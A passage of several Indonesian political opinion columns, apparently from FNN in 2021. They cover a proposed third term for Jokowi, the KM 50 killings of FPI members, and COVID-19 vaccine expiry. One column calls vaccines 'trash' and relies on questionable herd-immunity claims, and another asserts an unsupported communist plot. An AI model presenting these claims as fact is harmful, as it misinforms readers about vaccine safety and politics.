jaga bersama. Namun, politik punya banyak wajah. Wajah yang lain, sejumlah elit partai pendukung pemerintah menyatakan dukungannya. Sebutlah Wakil Ketua Umum Partai Kebangkitan Bangsa (PKB) Jazilul Fawaid. Mantan Wakil Ketua Umum Partai Gerindra Arief Poyuono lebih ekstrim lagi. Dia meminta Presiden Jokowi menerima keinginan rakyat untuk memimpin hingga tiga periode. Alasannya, demi menyelamatkan rakyat dari bencana pandemi dan dampaknya. Kita tidak tahu rakyat mana yang dimaksud Poyuono. Bila yang dimaksud anggota dewan terpilih sebagai representasi rakyat, mungkin logikanya tidak sepenuhnya benar. Sebab, manuver politik penghuni Senayan tidak selalu muncul karena keinginan rakyat. Terkadang manuver itu dipicu oleh inisiatif pribadi atau permintaan partai. Dengan begitu, dukungan elit politik tidak serta merta paralel atau merepresentasikan dukungan akar rumput. Lagi pula, sejarah mencatat bahwa kemunculan wacana presiden tiga preiode telah memperlihatkan penolakan rakyat dari waktu ke waktu. Pertanyaannya, atas dasar dan tujuan apa wacana ini bersemi kembali? Kantor Staf Presiden mencurigai ada pihak yang ingin menjerumuskan Presiden. Sementara itu, pengamat politik Universitas Al-Azhar Ujang Komarudin berpendapat ada kemungkinan orang terdekat Jokowilah yang memunculkannya. Untungnya, isu amendemen UUD 1945 untuk mengubah masa jabatan presiden menjadi tiga periode dibantah oleh Majelis Permusyawaratan Rakyat (MPR). Ketua MPR RI Bambang Soesatyo meyakinkan itu. Kita berharap pimpinan MPR konsekuen. Pun dengan Anggota DPR dan DPD yang juga merupakan Anggota MPR RI, agar saling menjaga, menutup peluang sidang istimewa MPR RI. Cukup Satu Periode Jadi, perbincangan soal masa periode jabatan presiden sebaiknya dihentikan saja. Kalau pun ingin membahasnya lebih serius, wacana yang dikedepankan harusnya yang relevan dengan demokrasi dan percepatan pertumbuhan regenerasi kepemimpinan. Dalam perspektif itu, ada baiknya yang dipikirkan secara bersama adalah memangkas periode jabatan presiden, bukan malah menambahnya. Pakar hukum tata negara Refly Harun pernah menggagas ide ini, dengan usulan masa jabatan tujuh tahun atau cukup lima tahun saja. Selebihnya, ia mengusulkan mantan presiden dapat mengajukan diri kembali, tetapi tidak berurutan. Hemat saya, periode presiden dibatasi cukup satu periode atau lima tahun saja. Namun, dengan satu opsi tambahan yakni masa jabatannya dapat diperpanjang hingga dua atau maksimal tiga tahun. Opsi tambahan masa jabatan ini tidak otomatis. Kewenangan diperpanjang atau tidaknya dikembalikan kepada MPR. Dengan begitu, anggota legislatif sebagai pengawas pemerintah punya peran tambahan dalam mengevaluasi hasil kerja presiden. Artinya, opsi itu sekaligus menjadi reward atau punishment bagi presiden. Bila MPR menganggap kinerja presiden selama lima tahun di bawah standar, jatah dua tahun perpanjangan jabatan boleh tidak diberikan. Sebaliknya, jika kinerja presiden terlihat baik atau berhasil, masa jabatan itu dapat diberikan sebagai penghargaan. Ke depan, bila penerapannya memenuhi ekspektasi, keran diskursus selanjutnya dapat dibuka untuk kemungkinan penerapan di level kepemimpinan daerah, baik provinsi maupun kabupaten/kota. Setidaknya, ada tiga hal yang mendasari pikiran tersebut. Pertama, regenerasi kepemimpinan dapat berjalan dengan cepat. Berbarengan dengan itu, pertumbuhan oligarki kekuasaan sekaligus bisa diminimalisir. Kedua, dua periode jabatan menyita banyak waktu dan konsentrasi presiden pada periode pertama guna menyiapkan diri pada perebutan kekuasaan selanjutnya. Hampir separuh dari periode pertama biasanya dihabiskan untuk konsolidasi menuju tampuk kekuasaan periode kedua. Ketiga, dalam konteks pemilihan presiden, petahana dipandang mempunyai nilai lebih karena menguasai sistem dan pemerintahan. Terbuka potensi menyalahgunakan wewenang dalam perhelatan Pilpres yang melibatkan dirinya. Satu periode jabatan presiden menutup kemungkinan tersebut. Jadi, persoalan periode jabatan presiden bukan sebatas pertimbangan ditambah atau dikurangi. Yang lebih mendasar adalah alasan di balik penambahan atau pengurangan itu. Pemilik gagasan presiden tiga periode perlu ditanya, apa relevansi gagasan itu terhadap demokrasi dan pembangunan bangsa? Penulis adalah Senator DPD RI.

Haruskah Sumpah Mubahalah Dengan Komnas HAM?

by M. Rizal Fadillah Bandung FNN – Komisi Nasional Hak Asasi Manusia (Komnas HAM) memiliki kewenangan penuh untuk menggali fakta dan menyelidiki kasus pembunuhan enam anggota Laskar Front Pembela Islam (FPI) di kilometer 50 Jalan tol Jakarta-Cikampek (Japek). Hasil penyelidikan yang dilakukan Komnas HAM berujung pada kesimpulan bahwa telah terjadinya "unlawful killing" oleh aparat kepolisian dari Polda Metro Jaya Komnas HAM juga menyatakan sebagai pelanggaran HAM, maka selanjutnya mesti diproses secara hukum. Bukan kategori pelanggaran HAM berat. Akibatnya, publik menilai kerja Komnas HAM belum optimal karena ada hal yang tidak terungkap, janggal, bahkan mungkin juga disembunyikan. Atas dasar banyak faktor. Namun paling kurang ada tiga hal yang menjadi pertanyaan mendasar, yang justru tidak diungkap oleh Komnas HAM. Pertama, Komnas sama sekali tidak melihat adanya indikasi penganiayaan oleh aparat terhadap keenam anggota Laskar FPI. Padahal foto-foto dan hasil otopsi dimiliki justru sangat mencurigakan. Saat ini dugaan tersangka aparat kepolisian justru dituduh atas pelanggaran terhadap Pasal 338 Jo 351 KUHP. Nah, Pasal 338 KUHP menyangkut pembunuhan dan Pasal 351 adalah penganiayaan. Kedua, keberadaan mobil Land Cruiser yang datang ke Tempat Kajadian Perkara (TKP ) di Rest Area kilometer 50 tidak terkuak siapa personalnya? Padahal saksi yang ada yang ada TKP melihat bahwa terjadi selebrasi seperti sebuah tim bola voli. Selebrasi yang dipimpin oleh "pejabat" yang turun dari mobil Land Cruiser tersebut. Pemeriksaan kepada polisi yang bertugas di kilometere 50 tol Japek telah dilakukan oleh Komnas HAM. Apakah seluruh saksi bungkam, termasuk yang berselebrasi atas siapa "komandan" yang memimpin itu? Benarkah Komnas HAM tidak tahu juga siapa yang turun dari mobil Land Cruiser tersebut? Ketiga, yang menjadi pertanyaan Komnas HAM mengenai mobil yang membuntuti dan menembak saat berkejar-kejaran di jalan menuju gerbang tol Karawang Barat. Ada mobil Avanza hitam nomor polisi B 1739 PWQ dan Avanza silver nomor polisi B 1278 KJD. Aneh bin ajaib jika Komnas HAM tidak dapat menemukan siapa penumpang dua mobil pembuntut dan pengejar tersebut. Semestinya terlalu mudah bagu Komnas HAM untuk mengetahui penumpak di movil Avanza hitam B 1739 PWQ dan avanza silver B 1278 KJD. Mudah karena bisa didapat dari keterangan anggota polisi sendiri. Apalagi dalihnya adalah "tembak-menembak" dengan aparat kepolisian. Atau memang mereka bukan Polisi? Kalau bukan polisi, mereka dari instansi mana? Mungkinkah mereka yang terlibat tembak-menembak, sehingga mengakibatkan dua anggota Laskar FPI meninggal itu di TKP adalah anggota polisi yang Bawah Kendali Operasi (BKO) ke instansi negara lain? Misalnya, di-BKO-kan ke Badan Intelijen Negara (BIN)? Mengapa Komnas HAM begitu berat untuk mengungkapkan pelaku penembakan terhadap dua anggota Laskar FPI tersebut. Tiga hal di atas menjadi sangat penting ,atau bagian dari kunci operasi pembunuhan dan penganiayaan terhadap enam anggota laskar FPI. Tiga hal yang semestinya diketahui Komnas HAM saat melakukan penyelidikannya. Jika ternyata memang mengetahui tetapi tidak mengungkapkan, berarti Komnas HAM telah menyembunyikan fakta atau temuan. Keyakinan Komnas HAM bahwa telah terjadinya tembak-menembak yang menewaskan dua anggota laskar FPI. Sementara Komnas HAM tidak mengetahui siapa pelaku atau aparat penguntit dan pembuntut yang terlibat "tembak menembak". Ini juga sangat aneh dan janggal. Bisa berkesimpulam terjadi tembak-menembak. Tetapi tidak tau siapa pelaku yang terlibat tembak-menembak. Komnas HAM juga menyimpulkan tidak terjadi unlawful killing pada pembunuhan dua anggota Laskar FPI tersebut. Padahal keterangan itu hanya didapat dari pengejar, pembuntut, serta penembak sendiri. Mereka adalah penumpang mobil Avanza hitam B 1739 PWQ dan Avanza silver B 1278 KJD. Pihak keluarga meyakini keenam laskar tidak memiliki senjata api. Sementara pihak Kepolisian dan Komnas HAM yakin terjadi tembak-menembak. Artinya, anggota laskar itu memiliki senjata api. Beberapa waktu lalu pihak keluarga korban menantang kepolisian untuk melakukan sumpah mubahalah terkait dengan tuduhan kepemilikan sejata api, namun pihak kepolisian tidak ada yang hadir. Mengingat layak diduga terjadi penyembunyian fakta dan temuan oleh Komnas HAM, apalgi Komnas HAM telah meyakini anggota laskar memiliki senjata api, maka muncul pertanyaan haruskah dilakukan pula sumpah mubahalah dengan Komnas HAM? Ketika tuntutan masyarakat agar dibentuk Tim Pencari Fakta (TPF) Independen tidak dipenuhi, maka Komnas HAM akhirnya diberi kepercayaan untuk melakukan penyelidikan. Dengan demikian, tanggungjawab hukum telah diambil oleh Komnas HAM. Mengingat hal ini menyangkut urusan nyawa manusia, maka Komnas HAM tentu juga bertanggung jawab untuk urusan dunia dan akhirat. Karenanya sumpah mubahalah adalah sarana lain yang bisa digunakan untuk menguak misteri pembunuhan sadis atas enam anggota laskar FPI oleh aparat kepolisian atau instansi lain yang terlibat. Beranikah Komnas HAM sumpah mubahalah? Penulis adalah Pemerhati Politik dan Kebangsaan.

Jokowi Tiga Periode? PKI Yang Jingkrak-Jingrak

by Tarmidzi Yusuf Bandung FNN - Baru-baru ini seperti dilansir detik.com (14/4), Bapak Reformasi Indonesia, Prof. Dr. Muhammad Amien Rais melontarkan dugaan bahwa Jokowi akan mengusulkan pasal presiden boleh menjabat selama tiga periode. Keinginan ini jelas nenabrak amanat reformasi 1998, yang membatasi masa jabatan presiden hanya dua priode. Penulis pernah menulis dengan judul “Waspada Agenda Besar Parlemen Indonesia Periode 2019 – 2024”. Tulisan tersebut viral. Dimuat dibeberapa situs berita online. Tulisan tersebut dirilis pada 15 Juli 2019 atau 12 Dzulqa'dah 1440 di FB. Sekarang akun FB dibanned oleh pihak FB. Dalam tulisan tersebut, penulis menjelaskan tentang adanya skenario dan target yang hendak dicapai dibalik isu amandemen UUD 1945. Sebab UUD 1945 Pasal 7 hasil amandemen tahun 1999 berbunyi, "Presiden dan Wakil Presiden memegang jabatan selama lima tahun, dan sesudahnya dapat dipilih kembali dalam jabatan yang sama, hanya untuk satu kali masa jabatan". Isu amandemen UUD 1945, khususnya Pasal 7 tentang masa jabatan Presiden, yang semula hanya dua periode menjadi kemungkinan tiga periode atau lebih. Tulisan tentang jabatan presiden tiga priode atau lebih itu ditulis dua tahun lalu, ternyata bukan hanya isu belaka. Sekadar mewanti-wanti untuk mewaspadai permainan Pertai Komunis Indonesia (PKI) dan paham China komunis melalui antek-anteknya dalam negeri. Bila lengah, maka amandemen UUD 1945, khususnya Pasal 7 kemungkinan berhasil. PKI dan antek-antek komunis pun tepuk tengan dan berjingkrak-jingkrak merayakan kemenangan agenda mereka. Isu tentang rencana amandemen UUD 1945, khususnya Pasal 7 tampaknya akan menjadi perbincangan hangat dan panas. Diprediksi akan timbul gejolak sosial yang meluas di masyarakat. Bagaimana mungkin saat ekonomi anjlok, angka kemiskinan bertambah, pengangguran bertambah, rakyat hidup susah, eh malah minta tiga periode? Yang benar aja. Isu Jokowi tiga periode ini menguat lagi pasca kisruh Partai Demokrat yang melakukan Kongres Luar Biasa (KLB) di Sibolangit Deli Serdang, Sumatera. Ditengarai KLB Partai Demokrat tersebut didukung oleh lingkaran istana. Banyak juga pihak menuding kisruh mnimpa Partai Demokrat diduga sekarang “diotaki” para jenderal merah. Disanyalir Moeldoko dan faksi yang tersingkir di Partai Demokrat beberapa tahun silam, hanyalah “pemain figuran” saja. Pengendalinya gank politik jenderal merah yang sangat berpengaruh. Selain kisruh di Partai Demokrat, publik juga mensinyalir “safari politik” Ketua Umum Golkar, Airlangga Hartarto ke beberapa ketua umum partai membawa misi khusus. Tahun kemarin, Airlangga Hartarto juga melakukan hal yang sama. Misinya, RUU Omnibus Law Cipta Kerja (Cilaka). Adakah safari Airlangga Hartarto tahun ini punya misi tertenti? Khususnya yang terkait dengan isu Jokowi tiga periode? Rumornya Airlangga Hartarto dikenal dekat dengan link jenderal merah. Rakyat sekarang dalam posisi yang sulit. Sementara DPR dan institusi negara lainnya nyaris lumpuh. Mereka dikendalikan oleh segelintir orang dalam genk politik jenderal merah. Wajar saja bila ada kekhawatiran skenario tiga periode, dan pelan-pelan mengarah partai tunggal. Mirip-mirip sistem politik China komunis. Penulis adalah Pegiat Da’wah dan Sosial.

Jokowi-Prabowo 2024 Jadi Puncak Onani Direktur Indo Barometer

by Asyari Usman Medan, FNN - Ada yang berkhayal bahwa pasangan Jokowi-Prabowo di Pilpres 2024 bisa melenyapkan perpecahan politik rakyat. Yang bermimpi itu adalah Direktur Eksekutif lembaga survei Indo Barometer, Muhammad Qadari. Dia langsung mengklaim “copy rights” sebagai deklarator. Qadari menyampaikan klimaks orgasme siang bolongnya itu seperti dikutip oleh CNNIndonesia dan Kompas hari ini, Selasa, 16 Maret 2021. Qadari mungkin berharap Jokowi dan Prabowo akan menelefon dia untuk membeli hak cipta tag-line deklarasi itu. Soal harga, tentu bisa dibayangkan berapa banyak nolnya. Sebab, tag-line ini merupakan "maha karya" Qadari untuk persatuan bangsa. Kita lihat saja perkembangan selanjutnya. Mari kita lihat beberapa hal serius tentang Jokowi-Prabowo 2024 yang diyakini Qadari bisa menghilangkan polarisasi. Namun M. Qadari lupa bahwa sampai hari ini perpecahan yang lebar dan dalam itu masih belum menunjukkan tanda-tanda berakhir. Qadari ini tidak melihat atau pura-pura tak melihat bahwa jika Jokowi-Prabowo bisa menyatukan rakyat, tentu sejak hari pertama Prabowo menekukkan lututnya di depan Jokowi, polarisasi itu langsung lenyap. Kenyataannya, itu tidak terjadi. Keterbelahan tak berubah. Itu artinya, bukan ikut atau tidak ikutnya Prabowo ke kubu Jokowi yang menjadi masalah. Persaoalannya adalah rakyat tidak menerima cara-cara Jokowi mengelola pemerintahan. Rakyat tidak setuju dengan sebagian besar kebijakan Jokowi. Tidak usah dulu kita bicarakan amandemen UUD 1945 pasal 7 yang membatasi masa jabatan presiden hanya dua (2) periode. Katakanlah perubahan pasal itu bisa dilakukan dalam satu hari. Kemudian Jokowi-Prabowo mendeklarasikan diri dengan dukungan 8 parpol, misalnya. Rakyat akar rumput tidak akan mendukung. Seperti biasa, mereka tentu bisa saja dipaksakan menjadi presiden dan wakil presiden 2024-2029 lewat tangan ketua KPU. Tapi, perpecahan malah akan semakin panjang. Karena, sekali lagi, rakyat tak sudi memberikan mandat kepada Jokowi. Jadi, Mister Qadari, yang menjadi masalah bukan ada-tidaknya Prabowo di kubu Jokowi. Yang menjadi problem adalah keberatan rakyat terhadap kepemimpinan Jokowi. Kalian ciptakan pun 20 kloningan Prabowo untuk dimasukkan ke kubu Jokowi, tidak akan ada pengaruhnya terhadap polarisasi bangsa ini. Anda, Pak Qadari, masih menyangka bahwa Prabowo punya gerbong pengikut seperti di masa kampanye Pilpres 2019. Wake up, Sir! Mr Prabowo had totally been deserted by most of his supporters. Pak Prabowo itu sudah ditinggal pergi oleh sebagian besar pendukungnya tempohari. Segelintir loyalis masih ada. Tapi, sangat tidak signifikan. So, stop your day light dream, Pak Qadari. Berhentilah bermimpin siang bolong. Tapi, silakan terus beronani dan berorgasme dengan terori Jokowi-Prabowo 2024 akan melenyapkan polarisasi.[] Penulis adalah Wartawan Senior FNN.co.id.

Indonesia Jadi Lahan Uji Coba Vaksin “Sampah”?

by Mochamad Toha Surabaya, FNN - Seperti halnya obat-obatan, vaksin juga punya masa kadaluarsa. Konsekuensinya, vaksin tersebut seharusnya tidak boleh atau “haram” digunakan untuk tubuh manusia. Termasuk beragam merk vaksin Virus Corona (COVID-19) yang kadaluarsa. Vaksin Sinovac yang sudah datang di Indonesia mencapai 38 juta dosis. Celakanya, ternyata vaksin batch 1 dan batch 2 ini masa kadaluarsanya pada 25 Maret 2021. Sebanyak 1,2 juta itu datang pada 6 Desember 2020 dan 1,8 juta datang pada 31 Desember 2020. Dus, kalau kadaluarsa keduanya pada 25 Maret 2021, berarti Vaksin Sinovac ini datang dalam keadaan hampir kadaluarsa. Kasihan para Dokter dan Nakes, karena mereka ini justru dapat jatah Sinovac yang akan memasuki masa kadaluarsa. Sementara sebagaimana lazimnya, vaksin dan obat-obatan yang dikemas, masa kadaluarsa biasanya 6 sampai 2 tahun. Lalu mengapa Indonesia dikirimi vaksin yang sudah hampir masuk masa kadaluarsa? Dengan menggunakan logika yang sama, lalu bagaimana dengan vaksin batch 3 sebanyak 15 juta dosis yang datang pada 12 Januari 2021? Apakah masa kadaluarsanya juga sama, 3 bulan seperti nasib vaksin batch 1 dan 2? “Kalau begitu, vaksin 15 juta dosis ini terancam kadaluarsa pada sekitar 25 April 2021,” kata dr. Tifauzia Tyassuma. Lalu vaksin Sinovac batch 4 sebanyak 11 juta dosis, yang datang pada 2 Februari 2021, terancam kadaluarsa pada 25 Mei 2021! Kemudian, Vaksin Sinovac batch 5 sebanyak 10 juta dosis, yang datang pada 2 Maret 2021, terancam kadaluarsa pada 25 Juni 2021! Apalagi, saat ini 34 juta dosis dari Vaksin Sinovac belum habis, baru terpakai 4 juta dosis. Padahal Projek Vaksinasi ini sudah 3 bulan berlalu. Ditambah lagi, kini Menteri Kesehatan Budi Gunadi Sadikin terkejut saat tahu bahwa vaksin asal UK, AstraZeneca sebanyak 1,1 juta dosis, akan kadaluarsa pada Mei 2021. Sementara daya serap vaksin ke masyarakat baru 60.000 dosis perhari. Jadi, sampai dengan Mei 2021 sejumlah 41 juta dosis vaksin (dari Sinovac dan AstraZeneca) baru terpakai 12 juta dosis sesuai kalkulasi. Berarti akan ada vaksin kadaluarsa sebanyak 29 juta dosis. Perlu dicatat, Vaksin Sinovac telah mendapatkan izin penggunaan darurat atau emergency use authorization (EUA) dari BPOM. Dengan izin penggunaan darurat ini, vaksin produksi Sinovac Life Science Co.Ltd.China dan PT Bio Farma (Persero) dapat digunakan untuk program vaksinasi di Indonesia. Sebelumnya, di Facebook beredar unggahan yang menyebutkan, vaksin Covid-19 produksi Sinovac itu sudah diproduksi sebelum pandemi virus corona. Persepsi ini muncul ketika ada informasi, vaksin Covid-19 itu akan kedaluwarsa pada 25 Maret 2021. Vaksin memiliki masa kedaluwarsa 2 tahun. Informasi tersebut telah diklarifikasi oleh Juru Bicara Vaksinasi Covid-19 dari Kementerian Kesehatan (Kemenkes) Siti Nadia Tarmizi. Melansir Kompas.com, Minggu (14/3/2021), Nadia mengatakan bahwa vaksin yang akan kedaluwarsa itu merujuk kepada vaksin CoronaVac pengadaan batch pertama. “Vaksin ini telah kita gunakan untuk diberikan kepada 1,45 juta tenaga kesehatan dan 50.000 orang pemberi pelayanan publik. Saat ini, vaksin ini sudah habis kita gunakan,” kata Nadia. Ketua Tim Uji Klinis Nasional Vaksin Covid-19 Prof. Kusnandi Rusmil mengatakan, vaksin Covid-19 memiliki masa kadaluwarsa dua tahun. Oleh karena itu, vaksin Covid-19 yang saat ini siap suntik harus segera dihabiskan. Hal itu disampaikannya dalam diskusi virtual bertajuk “Memahami Covid-19 dan Mutasi Virus”, Sabtu (13/3/2021). Kusnandi mengatakan, narasi itu tidak benar. Pernyataan yang dia sampaikan di atas, tidak tepat jika diartikan bahwa vaksin Covid-19 telah dibuat sejak dua tahun yang lalu atau sebelum pandemi Covid-19 merebak. Bukan vaksin Sinovac itu dibikin 2 tahun lalu. Kusnandi menjelaskan, setiap jenis vaksin masa kedaluwarsanya berlainan. Biasanya, vaksin bertipe inactivated seperti Covid-19 memiliki masa berlaku antara satu sampai dua tahun. Untuk Sinovac itu juga antara 1 sampai 2 tahun, ada juga yang kurang dari 6 bulan. Ia mengatakan, vaksin Covid-19 yang saat ini digunakan untuk program vaksinasi, bisa juga dipercepat masa kedaluwarsanya oleh Bio Farma, agar lebih cepat dihabiskan. Mungkin saja dibikin setahun yang lalu, tapi supaya cepat habis, dicepatkan expired date-nya. Karena sekarang Bio Farma sedang bikin vaksin dari bulk yang baru. Karena ini sudah dikirim bulk dari Sinovac ke Bio Farma. “Mungkin bulk yang lama expired date-nya dipercepat, biar habis dulu. Jadi, yang masuk duluan itu dipakai,” ujar Kusnadi. Tunda AstraZeneca Menkes Budi Gunadi Sadikin mengatakan, penggunaan vaksin Covid-19 asal AstraZeneca ditunda sementara di Indonesia. Pihaknya masih menunggu hasil penelitian dari WHO terkait efek samping dari vaksin AstraZeneca yang terjadi di Eropa. “Sampai saat ini berita yang kami terima dari WHO mereka masih meneliti, kita juga terima dari MHRA itu BPOMnya UK, dan EMA itu European Medical Authority, mereka sekarang belum mengkonfirmasi apakah ini ada korelasinya karena vaksin atau tidak,” kata Budi. Dalam Rapat Kerja di Komisi IX DPR RI, Jakarta, Senin (15/3/2021) itu, Budi mengatakan, informasi yang diterimanya sejauh ini, pembekuan darah tidak disebabkan vaksin Covid-19 AstraZeneca. Namun, Kemenkes dan BPOM menunda sementara penggunaannya. Menurut Budi, untuk konservativismenya, BPOM menunda dulu implementasi AstraZenca sambil menunggu konfirmasi dari WHO. Mudah-mudahan dalam waktu singkat dapat keluar, karena memang betul yang AstraZenca ini ada expired period pada akhir Mei 2021. Budi menambahkan, pihaknya juga tengah menunggu fatwa halal vaksin AstraZeneca dari MUI. MUI harusnya ada rapat dalam besok atau lusa, sehingga fatwanya bisa dikeluarkan dalam dua hari kedepan ini. Diberitakan, hingga Kamis (11/3/2021) ada 6 negara Eropa yang menghentikan sementara penyuntikan vaksin Covid-19 AstraZeneca, menyusul adanya laporan pembekuan darah pasien usai vaksinasi. Denmark adalah negara pertama yang mengumumkan penangguhan ini, melalui pernyataan Otoritas Kesehatan negara itu. Penangguhan dilakukan sebagai tindakan pencegahan, tetapi belum dipastikan ada hubungan antara vaksin dengan pembekuan darah. Badan Obat-obatan Eropa (EMA) mengungkapkan, sampai 9 Maret ada 22 kasus pembekuan darah dari 3 juta orang lebih yang divaksinasi di Wilayah Ekonomi Eropa. Menurut dr.Tifauzia Tyassuma, Indonesia seharusnya tak perlu membeli vaksin sampai 400 juta dosis. Saat ini sudah masuk 180 juta lebih. Alasannya, mengambil patokan data yang dirilis Jhon Hopkins, di mana 60 negara sudah mengalami penurunan penularan Covid-19 karena Herd Emmunity (HE) secara alamiah yang mencapai 40-50%. Sementara, dari 220 negara dikurangi 60 negara atau sekitar 160 negara HE sudah mencapai 15 %, termasuk Indonesia. Untuk sampai tingkat HE 40-50%..di mana dari kekebalan kelompok/populasi yang terpajan virus dapat melindungi 60-50% rakyatnya secara alamiah, maka saat itu masa pandemi menuju endemi. Indonesia bisa mengejar angka ini hingga akhir 2021, sehingga pada 2022 menuju endemi. Indonesia bisa juga mengejar HE buatan lewat vaksinasi. HE alamiah dan HE buatan bisa dikolaborasikan untuk mempercepat HE yang diharapkan. Namun karena kecepatan vaksinasi perhari Indonesia hanya 60.000 populasi, maka butuh beberapa tahun kemudian untuk capai HE buatan lewat vaksinasi. Sementara vaksin yang masuk saat ini, seperti Sinovac pada Maret sampai Juni 2021 nanti masuk kadaluarsa. Bahkan berita terbaru vaksin AstraZeneca yang sudah masuk Indonesia juga kadaluarsa pada Mei 2021. Menakutkan bukan? Haruskah “vaksin sampah” itu dipaksakan diinjeksi ke lengan tangan rakyat? Siapa tanggung jawab jika terjadi efek samping seperti di Eropa? Penulis adalah Wartawan Senior FNN.co.id.

KM 50 Tol Japek Memburu Pemilik Ide Kejahatan

by Tamsil Linrung Jakarta FNN - Bangsa ini sering dipuja sebagai negara demokrasi terbesar di Asia Tenggara. Juga dielu-elukan sebagai negara hukum. Namun sejarah membuktikan, pertarungan ideologi dan kepentingan politik tak jarang mengangkangi hukum dan demokrasi. Kini, sejarah itu kembali menampakkan kepongahannya. Kasus hukum yang bertubi-tubi menimpa Front Pembela Islam (FPI), ditengarai cacat hukum, intimidatif dan diskriminatif. Konon, itu terjadi sejak kepulangan Habib Rizieq Shihab (HRS), penutupan organisasi FPI, dan seterusnya. Puncaknya adalah unlawful killing, pembunuhan di luar hukum terhadap enam pemuda laskar FPI di KM 50 Jalan Tol Jakarta Cikampek (Japek), beberapa waktu lalu. Terhadap pembunuhan di luar hukum ini, hasil penyelidikan Kimisi Nasional Hak Asasi Manusia (Komnas HAM) meminta aparat berwenang untuk menyelidiki lebih lanjut. Permintaan Komnas HAM merujuk secara khusus kepada wafatnya empat laskar FPI. Soalnya, empat pemuda ini harus menemui ajal dalam penguasaan polisi. Versi polisi, mereka merebut pistol aparat sehingga bentrok tak terelakkan di dalam mobil. Namun argumen polisi itu terasa janggal. Keempat laskar harusnya diborgol, sebagaimana jamaknya Standard Operation Procedure (SOP) penangkapan yang dilakukan polisi. Apalagi, mereka dituding terlibat adu tembak sebelum akhirnya dibekuk. Meski polisi beralasan aparat tidak dilengkapi borgol karena mereka bukan tim penangkapan, namun tetap saja kita mencium aroma kelalaian. Borgol bukanlah barang "mewah". Bukan pula barang yang memerlukan kualifikasi tertentu untuk ditenteng aparat, sebagaimana senjata berpeluru tajam. Dua anggota laskar FPI lainnya wafat lebih dulu di lokasi kejadian. Baik kepolisian maupun Komnas HAM, keduanya berpendapat terjadi baku tembak. Namun, sejumlah pihak menemukan keterangan berbeda. Salah satunya temuan wartawan Forum News Network (FNN) Edy Mulyadi. Saat menginvestigasi ke Rest Area KM 50 Tol Jakarta-Cikampek, di akun youtubenya, Edy mengaku telah mewawancara tiga orang sumber yang saat itu berada lokasi kejadian, yang polisi menyebutnya dengan Tempat Kejadian Perkara (TKP). Para saksi itu menerangkan tidak melihat ada baku tembak, melainkan hanya mendengar dua kali tembakan. Dua tembakan itulah yang diduga menewaskan dua laskar FPI. Belakangan, Rest Area KM 50 dibongkar habis. Diratakan dengan tanah. Tidak ada lagi yang tersisa di TKP Rest Area KM 50 Tol Japek. Ketua Tim Pengawal Peristiwa Pembunuhan (TP3) 6 anggota Laskar FPI Abdullah Hehamahua mempertanyakan tindakan ini. Menurutnya, di lokasi bukan tak mungkin terdapat barang bukti yang masih dapat ditelisik. Kekhawatiran Hehamahua tentu bisa dipahami. Yang menyedihkan, dalam perjalanan perkara selanjutnya, keenam pemuda FPI itu dijadikan tersangka, meski telah wafat. Alasan versi Menkopolhukam Mahfud MD, konstruksi hukum mengharuskan penersangkaan. Tetapi sejumlah ahli hukum membantah dan menyebut langkah hukum ini justru melawan Pasal 77 KUHP. Artinya, melawan hukum. Sarat Kontroversi Begitu banyak kontroversi dalam kasus ini, hingga sulit diramu satu per satu. Namun satu hal yang pasti, konstitusi memerintahkan “negara melindungi segenap tumpah darah bangsa Indonesia”. Melindungi setiap nyawa warga negara adalah kewajiban pemerintah. Sebaliknya, penghilangan nyawa satu rakyat saja tanpa alasan kuat adalah tindakan melawan konstitusi yang juga melanggar HAM. HAM adalah anugerah yang wajib dihormati. Dijunjung tinggi dan dilindungi oleh negara, hukum, pemerintah dan kita semua. HAM seharusnya menjadi titik tolak dan tujuan dalam penyelenggaraan kehidupan bermasyarakat, berbangsa dan bernegara. Diskriminasi dan intimidasi yang berujung pada hilangnya hak hidup, tentu harus direspon oleh hukum secara adil. Bila tidak, wajah bangsa ini akan semakin kusam dalam pandangan dunia internasional. Karena kejahatan HAM selalu menjadi perhatian masyarakat global. Bangsa ini telah cukup banyak menyimpan problem HAM masa lalu yang belum terselesaikan. Jangan ditambah lagi. Hari ini ,16 Maret 2021, tepat 100 hari kematian 6 pemuda Laskar Front Pembela Islam. Hingga 100 hari pasca kepergian almarhum, pihak keluarga masih mengejar keadilan. Kita bersimpati kepada keluarga yang ditinggal dan memanjatkan doa terbaik untuk para almarhum. Semestinya, belasungkawa juga datang dari pemerintah. Entah itu dari Presiden Jokowi atau setidaknya salah seorang menteri Kabinet Indonesia Maju. Tetapi kita tidak mendengar ucapan itu. Sangat kering dan gersang negara berbelasungkawa kepada rakyatnya. Apalagi karangan bunga dukacita segala. Konteksnya bukan tentang siapa yang salah dan siapa yang benar. Ini tentang soal kemanusiaan. Ikut bersimpati pada duka keluarga korban rasanya tidak akan terlalu memberatkan. Tidak juga mengurangi kehormatan dan waktu para pejabat. Sebaliknya, ucapan dukacita barangkali saja bisa mendinginkan suasana dan menjadi pintu masuk dialog antara keluarga korban dengan pemerintah. Di jegad media sosial, viral orang tua para almarhum laskar FPI yang wafat itu melakukan sumpah mubahalah. Sumpah mubahalah memang dikenal pada mekanisme hukum pembuktian Islam di zaman Rasulullah Shallaahu Alaihi Wasallam. Sumpah ini bahkan pernah dilakukan oleh Nabi Muhammad Shallaahu Alaihi Wasallam sendiri. Hukum Indonesia tidak mengenal sumpah mubahalah. Kalau toh dilakukan, agaknya tidak akan meringankan atau memberatkan dalam konteks hukum positif Indonesia. Tetapi sumpah itu toh tetap saja menjadi pilihan. Boleh jadi karena orang tua korban merasa kepentingan hukumnya tidak bakalan sepenuhnya diayomi penegak hukum. Memasuki Babak Baru Kini, insiden wafatnya enam laskar FPI memasuki babak baru. Tiga anggota Polda Metro Jaya yang terlibat dalam bentrok dengan enam laskar FPI, tengah diperiksa. Sinyal yang diberikan Kabareskrim Polri, tidak menutup kemungkinan ketiganya menjadi tersangka. Bila benar tiga Anggota Polda Metro Jaya melakukan pembunuhan itu, harus dipastikan apakah tindakan itu dilakukan atas inisiatif sendiri atau atas perintah atasan? Yang kita tahu, garis komando itu begitu mendarah daging dalam diri aparat kepolisian dan personel TNI. Seorang petugas lapangan umumnya tidak akan berani mengambil keputusan berdampak besar bila tidak ada perintah atasan. Jika benar didasari atas perintah atasan, maka kasus ini tidak boleh berhenti hanya pada petugas di lapangan. Pemilik ide kejahatan dan pemberi komando harus dikejar. Meski begitu, harus diakui pula bahwa kemungkinan inisiatif sendiri tetap ada, meski potensinya sangat kecil. Itu bisa terjadi jika situasi lapangan mengharuskan. Pada sisi lain, lagi-lagi muncul kontroversi baru. Tim 